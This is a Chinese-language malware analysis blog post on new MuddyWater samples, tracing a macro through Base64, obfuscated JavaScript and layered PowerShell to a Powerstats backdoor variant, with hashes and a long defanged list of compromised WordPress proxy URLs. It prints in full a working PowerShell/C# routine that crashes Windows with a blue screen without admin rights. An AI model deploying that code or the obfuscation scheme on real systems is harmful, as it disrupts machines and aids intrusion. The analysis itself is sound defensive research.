针对APT攻击组织MuddyWater新样本的分析

阅读量    44293 |   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

概述

自从我上次对MuddyWater(该样本也被FireEye命名为Temp.Zagros,相关链接: https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html )进行分析( https://sec0wn.blogspot.ae/2018/03/a-quick-dip-into-muddywaters-recent.html )以来,已经过去了两个多月。我本以为这一组织会休息一段时间,但事实证明我的想法是错误的。在本周,我发现了一些该组织发布的新型样本。尽管这些新样本与此前的样本存在诸多相似之处,但仍然有许多新增的特性,并且在新样本中他们进行了混淆。该组织仍然将重点放在了分层混淆(Layered Obfuscation)和PowerShell上面。本文将主要分析该组织发布的新样本,并与此前的样本进行对比。
下面是该组织近期使用的一些诱饵文档的截图,这些文档的哈希值附在了文末。





我们可以从上述截图中看到,该组织仍然将攻击的目标对准了中东地区国家(土耳其和伊拉克)以及巴基斯坦。正如我在此前的分析文章中( https://sec0wn.blogspot.ae/2017/11/continued-activity-targeting-middle.html )所指出,这些诱饵文档重点针对一些特定的组织和行业。
根据发布日期,这些诱饵文档是从2月中旬到5月6日的最新样本,我也将持续关注。该样本名称为“mofa.gov.iq.doc”,其MD5为94625dd8151814dd6186735a6a6a87b2a4c71c04b8402caf314fb6f98434eaad,其中的“MOFA”是外交部(Ministry of Foreign Affairs)的缩写。

 

从宏到Powerstats后门:对样本的详细分析

在这里,我将对样本进行详细分析。我们重点对恶意组织所使用的混淆模型,以及Powerstats后门中的新增特性进行分析。
该文档包含一个带有多个Base64编码内容的宏代码,如下所示:




其中,第一个Base64编码的变量,解码后实际是另一个编码数据块,如下所示。我们将在后面详细分析。

第二个Base64编码后的变量,解码后得到“c:windowssystem32rundll32.exe advpack.dll,LaunchINFSection C:ProgramDataEventManager.logs,Defender,1,”。
第三个Base64编码后的变量,解码后得到包含混淆Java脚本的编码后XML文件,如下所示:

我们对嵌入在XML文件中的JavaScript进行解码,得到如下结果:

解码后的脚本实际上是一个PowerShell脚本,该脚本对名为“C:ProgramDataWindowsDefenderService.ini ”的文件执行进一步的解码例程。
该文件的内容实际上来自第一个Base64块的编码数据。在解码后,我们发现该内容非常熟悉,是Powerstats后门的变体。
首先,解码数据块后,我们得到了编码后的PowerShell,如下所示:

请注意,这里使用的iex是Invoke-Expression的变体。为了得到这里的输出结果,我们用Write-Output替换iex,得到以下内容:

尽管上述内容看起来比较乱,但内容有些眼熟,应该是使用了字符替换函数进行字符替换。在上图中,我们可以看到“&((vaRIABle ‘MDR‘).NAME[3,11,2]-jOiN’’)”,这实际上是Invoke-Expression混淆后的结果。这样一来,我们依然可以用Write-Output来替换它,得到如下结果:

同样地,我们再次注意到其中有一个“( $enV:ComSpEc[4,24,25]-jOiN’’)”,这是iex。这也就意味着,我们可以继续用Write-Output对其进行替换。
实际上,这是多层混淆,我们可以一直采用此方法进行替换,最终获得我们能看懂的解码后脚本。在该脚本中,包含了代理URL和IP标识,如下所示:

当然,这只是大量编码后的PowerShell脚本中的第一部分,第二部分和第三部分是该后门的实际功能。

 

新样本的变化

在上一篇博客中,我分析的大部分功能仍然存在于新变体之中。除此之外,在新样本中还有一些新增的功能,也对一些功能做了修改:
1、屏幕截图功能的代码被重新编写,但仍然保持了原有的功能。新变体会截取被感染用户的屏幕截图,将其保存为PNG格式,并转换为字节,使用Base64对其进行编码,然后上传至C&C服务器。

2、在新样本中,我发现在特定过程中,包含了可以导致蓝屏死机(BSOD)的代码。这部分使用了反调试和反分析技术。

在上图的最下面,我们高亮标出了“GDKZVLJXGAPYNUGCPJNPGZQPOLPPBG”函数,该函数的代码如下:

function GDKZVLJXGAPYNUGCPJNPGZQPOLPPBG(){
$s = @"
using System;
using System.Runtime.InteropServices;
public static class C{
[DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
[DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);
public static unsafe void Kill(){
Boolean tmp1;
uint tmp2;
RtlAdjustPrivilege(19, true, false, out tmp1);
NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out tmp2);
}
}
"@
$c = new-object -typename system.CodeDom.Compiler.CompilerParameters
$c.CompilerOptions = '/unsafe'
$a = Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c
[C]::Kill()
}

这是在一个月前,由Barrett Adams (@peewpw, https://twitter.com/peewpw )编写的导致BSOD的代码,该代码可以从他的GitHub页面上找到( https://github.com/peewpw/Invoke-BSOD/blob/master/Invoke-BSOD.ps1 )。有一点需要注意,这段代码无需管理员权限执行,即可导致BSOD。
如果在受感染系统上存在cmd.exe或PowerShell.exe或Powershell_ISE.exe进程,也会执行相同的函数和代码。
3、此外,还有一个功能,是在ProgramData文件夹中查找是否存在字符串“Kasper”、“Panda”和“ESET”。如果存在,将会中断屏幕截图功能和上传功能。

 

总结

该恶意组织似乎持续活动,并且针对不同的国家发动攻击。在他们此次发动的攻击中,具有如下特点:
1、在Powerstats变体的基础上,使用了Base64 —> XML中的混淆JS —> PowerShell字符,为主要后门代码增加了一层额外的模糊处理。
2、更新了部分Powerstats代码,增加了BSOD功能,从而对抗分析与调试过程。
3、只依靠DDEInitiate进行横向移动,该组织似乎已经放弃了之前样本中使用过的另外两种方法。

 

IoC

哈希值

94625dd8151814dd6186735a6a6a87b2a4c71c04b8402caf314fb6f98434eaad
5c7d16bd89ef37fe02cac1851e7214a01636ee4061a80bfdbde3a2d199721a79
76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338
707d2128a0c326626adef0d3a4cab78562abd82c2bd8ede8cc82f86c01f1e024
b7b8faac19a58548b28506415f9ece479055e9af0557911ca8bbaa82b483ffb8
18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd

代理列表

hxxp://alessandrofoglino[.]com//wp-config-ini.php
hxxps://www.theharith[.]com/wp-includes/wp-config-ini.php
hxxp://www.easy-home-sales[.]co.za//wp-config-ini.php
hxxps://amishcountryfurnishings[.]com/awstats/wp-config-ini.php
hxxp://chinamall[.]co.za//wp-config-ini.php
hxxp://themotoringcalendar[.]co.za//wp-config-ini.php
hxxp://bluehawkbeats[.]com//wp-config-ini.php
hxxp://www.gilforsenate[.]com//wp-config-ini.php
hxxp://answerstoprayer[.]org//wp-config-ini.php
hxxp://mgamule[.]co.za/oldweb/wp-config-ini.php
hxxp://chrisdejager-attorneys[.]co.za//wp-config-ini.php
hxxp://finalnewstv[.]com//wp-config-ini.php
hxxps://www.brand-stories.gr//wp-config-ini.php
hxxp://www.duotonedigital[.]co.za//wp-config-ini.php
hxxp://www.britishasia-equip[.]co.uk//wp-config-ini.php
hxxp://www.tanati[.]co.za//wp-config-ini.php
hxxp://emware[.]co.za//wp-config-ini.php
hxxp://breastfeedingbra[.]co.za//wp-config-ini.php
hxxp://www.androidwikihow[.]com//wp-config-ini.php
hxxp://cashforyousa[.]co.za//wp-config-ini.php
hxxp://hesterwebber[.]co.za//wp-config-ini.php
hxxp://bramloosveld.be/trainer/wp-config-ini.php
hxxp://fickstarelectrical[.]co.za//wp-config-ini.php
hxxp://buchnation[.]com//wp-config-ini.php
hxxp://hostingvalley[.]co.uk/downloads/wp-config-ini.php
hxxp://bluefor[.]com/magento/wp-config-ini.php
hxxp://foryou.guru/css/wp-config-ini.php
hxxp://www.daleth[.]co.za//wp-config-ini.php
hxxps://www.buyandenjoy.pk//wp-config-ini.php
hxxps://annodle[.]com/wp-includes/wp-config-ini.php
hxxp://goldeninstitute[.]co.za/contents/wp-config-ini.php
hxxp://advss[.]co.za/images/wp-config-ini.php
hxxp://ednpk[.]com//wp-config-ini.php
hxxp://proeventsports[.]co.za/wp-admin/wp-config-ini.php
hxxp://glenbridge[.]co.za//wp-config-ini.php
hxxp://berped[.]co.za//wp-config-ini.php
hxxp://best-digital-slr-cameras[.]com//wp-config-ini.php
hxxps://kamas.pk//wp-config-ini.php
hxxps://bekkersweldingservice.nl//wp-config-ini.php
hxxp://bogdanandreescu.fit//wp-config-ini.php
hxxp://www.bashancorp[.]co.za//wp-config-ini.php
hxxps://www.bmcars.nl/wp-admin/wp-config-ini.php
hxxp://visionclinic[.]co.ls/visionclinic/wp-config-ini.php
hxxps://www.antojoentucocina[.]com//wp-config-ini.php
hxxp://www.ihlosiqs-pm[.]co.za//wp-config-ini.php
hxxp://capitalradiopetition[.]co.za//wp-config-ini.php
hxxp://www.generictoners[.]co.za//wp-config-ini.php
hxxp://almaqsd[.]com/wp-includes/wp-config-ini.php
hxxp://www.alessioborzuola[.]com/downloads/wp-config-ini.php
hxxp://briskid[.]com//wp-config-ini.php
hxxp://bios-chip[.]co.za//wp-config-ini.php
hxxp://www.crissamconsulting[.]co.za//wp-config-ini.php
hxxp://capriflower[.]co.za//wp-config-ini.php
hxxp://www.dingaanassociates[.]co.za//wp-config-ini.php
hxxp://batistadopovosjc[.]org.br//wp-config-ini.php
hxxp://indiba-africa[.]co.za//wp-config-ini.php
hxxp://apollonweb[.]com//wp-config-ini.php
hxxps://www.amighini.it/webservice/wp-config-ini.php
hxxp://blackrabbitthailand[.]com//wp-config-ini.php
hxxp://batthiqbal[.]com/sagenda/webroot/wp-config-ini.php
hxxp://clandecor[.]co.za/rvsUtf8Backup/wp-config-ini.php
hxxp://bakron[.]co.za//wp-config-ini.php
hxxp://gsnconsulting[.]co.za//wp-config-ini.php
hxxp://vumavaluations[.]co.za//wp-config-ini.php
hxxp://heritagetravelmw[.]com//wp-config-ini.php
hxxp://www.moboradar[.]com/wp-includes/wp-config-ini.php
hxxps://news9pakistan[.]com/wp-includes/wp-config-ini.php
hxxp://havilahglo[.]co.za/wpscripts/wp-config-ini.php
hxxp://binaries.site/wink/wp-config-ini.php
hxxp://www.bestdecorativemirrors[.]com/More-Mirrors/wp-config-ini.php
hxxp://clouditzone[.]com/revolution/assets/wp-config-ini.php
hxxp://delectronics[.]com.pk//wp-config-ini.php
hxxps://boudua[.]com//wp-config-ini.php
hxxp://baynetins[.]com//wp-config-ini.php
hxxp://insafradio.pk/pos/wp-config-ini.php
hxxp://www.harmonyguesthouse[.]co.za//wp-config-ini.php
hxxp://fsproperties[.]co.za/engine1/wp-config-ini.php
hxxp://desirablehair[.]co.za//wp-config-ini.php
hxxp://comsip[.]org.mw//wp-config-ini.php
hxxp://www.wbdrivingschool[.]com//wp-config-ini.php
hxxp://jdcorporate[.]co.za/catalog/wp-config-ini.php
hxxp://bradleysherrer[.]com/wp/wp-config-ini.php
hxxp://debnoch[.]com/image/wp-config-ini.php
hxxp://adsbook[.]co.za//wp-config-ini.php
hxxp://host4unix.net/host24new/wp-config-ini.php
hxxp://jvpsfunerals[.]co.za//wp-config-ini.php
hxxp://immaculatepainters[.]co.za//wp-config-ini.php
hxxp://tcpbereka[.]co.za/js/wp-config-ini.php
hxxp://investaholdings[.]co.za/htc/wp-config-ini.php
hxxp://tuules[.]com//wp-config-ini.php
hxxp://findinfo-more[.]com//wp-config-ini.php
hxxp://bmorecleaning[.]com//wp-config-ini.php
hxxp://www.goolineb2b[.]com//wp-config-ini.php
hxxp://www.triconfabrication[.]com/wp-includes/wp-config-ini.php
hxxp://irshadfoundation[.]co.za//wp-config-ini.php
hxxp://www.blattoamsterdam[.]com//wp-config-ini.php
hxxp://ladiescircle[.]co.za//wp-config-ini.php
hxxp://domesticguardians[.]co.za/Banner/wp-config-ini.php
hxxp://jhphotoedits[.]co.za//wp-config-ini.php
hxxp://iqra[.]co.za/pub/wp-config-ini.php
hxxps://bestbedra

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多